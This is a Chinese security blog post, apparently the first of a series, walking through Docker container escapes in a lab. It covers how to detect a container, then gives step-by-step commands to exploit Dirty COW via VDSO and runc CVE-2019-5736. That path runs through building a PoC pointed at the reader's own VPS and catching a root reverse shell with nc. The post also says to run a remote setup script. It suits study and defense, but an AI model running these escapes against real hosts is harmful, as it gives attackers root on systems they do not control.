摘要: Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。

前言

前不久看到几篇实战文章用到了docker逃逸技术,自己之前没接触过,整理复现下常用的Docker逃逸方法,可能存在认知错误的地方,希望各位大佬指出,感激不尽。

Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。

Docker逃逸原因

目前的 Docker 逃逸的原因可以划分为三种:

  • 由内核漏洞引起 ——Dirty COW(CVE-2016-5195)

  • 由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271

  • 由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式

docker环境判断

实战中首先需要判断服务器是否为docker环境。常用的判断方法有两种。

1、是否存在.dockerenv文件docker环境下存在:ls -alh /.dockerenv 文件img

非docker环境,没有.dockerenv文件

img

2、查询系统进程的cgroup信息docker环境下 cat /proc/1/cgroup

img

非docker环境下cat /proc/1/cgroup

img

实验环境

宿主机:阿里云centos8Docker版本:18.06.0-ce镜像版本:centos7

环境搭建

centos下运行sh文件:https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/

img

自动安装docker环境,运行centos和ubuntu镜像

img

查看容器

docker ps -a
docker ps -a -q # 查看哪些是停止状态的容器

img

启动容器

docker start 容器ID

img

进入容器

docker exec -ti 容器ID /bin/bash

img

内核漏洞

Dirty COW漏洞逃逸

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。docker和宿主机共享内核,搭建的阿里云环境不存在Dirty Cow漏洞,可以使用存在漏洞的宿主机搭建,也可以使用i春秋的靶机进行复现。https://www.ichunqiu.com/experiment/detail?id=100297&source=2

1、运行docker镜像

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash   //使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test

2、进入镜像内部操作

docker exec -it test /bin/bash

img

3、运行漏洞exp 下载地址:https://github.com/scumjr/dirtycow-vdso

cd /dirtycow-vdso/    //进入dirtycow-vdso文件夹
make                  //使用make命令编译.c文件
./0xdeadbeef          //运行0xdeadbeef 文件

显示successfully表示成功。

img

成功获取到宿主机的shell。

img


容器服务缺陷

CVE-2019-5736漏洞逃逸

1、漏洞原理:

Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

2、影响版本:

平台或产品 受影响版本

Docker Version < 18.09.2

runC Version <= 1.0-rc6

3、漏洞复现

首先编译go脚本,生成攻击payloadhttps://github.com/Frichetten/CVE-2019-5736-PoC修改脚本中的反弹地址为自己vps地址。

img

编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

img

将编译好的文件拷贝到docker容器中。

docker cp main 78e0d8daa906:/home 
docker exec -it 78e0d8daa906 /bin/bash
cd /home/
chmod 777 main

img

运行main文件,使用nc监听反弹的端口,等待启动docker

img

img

nc接收到反弹的shell

img

由于容器服务缺陷导致的逃逸还包括Docker cp CVE-2019-14271和Docker build code execution CVE-2019-13139,利用起来都具有一定的限制条件,具体原理和利用可参考:

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/


原文地址:https://www.freebuf.com/articles/container/242763.html

上一篇:初识docker逃逸(下)
下一篇:红队测试之邮箱打点(钓鱼)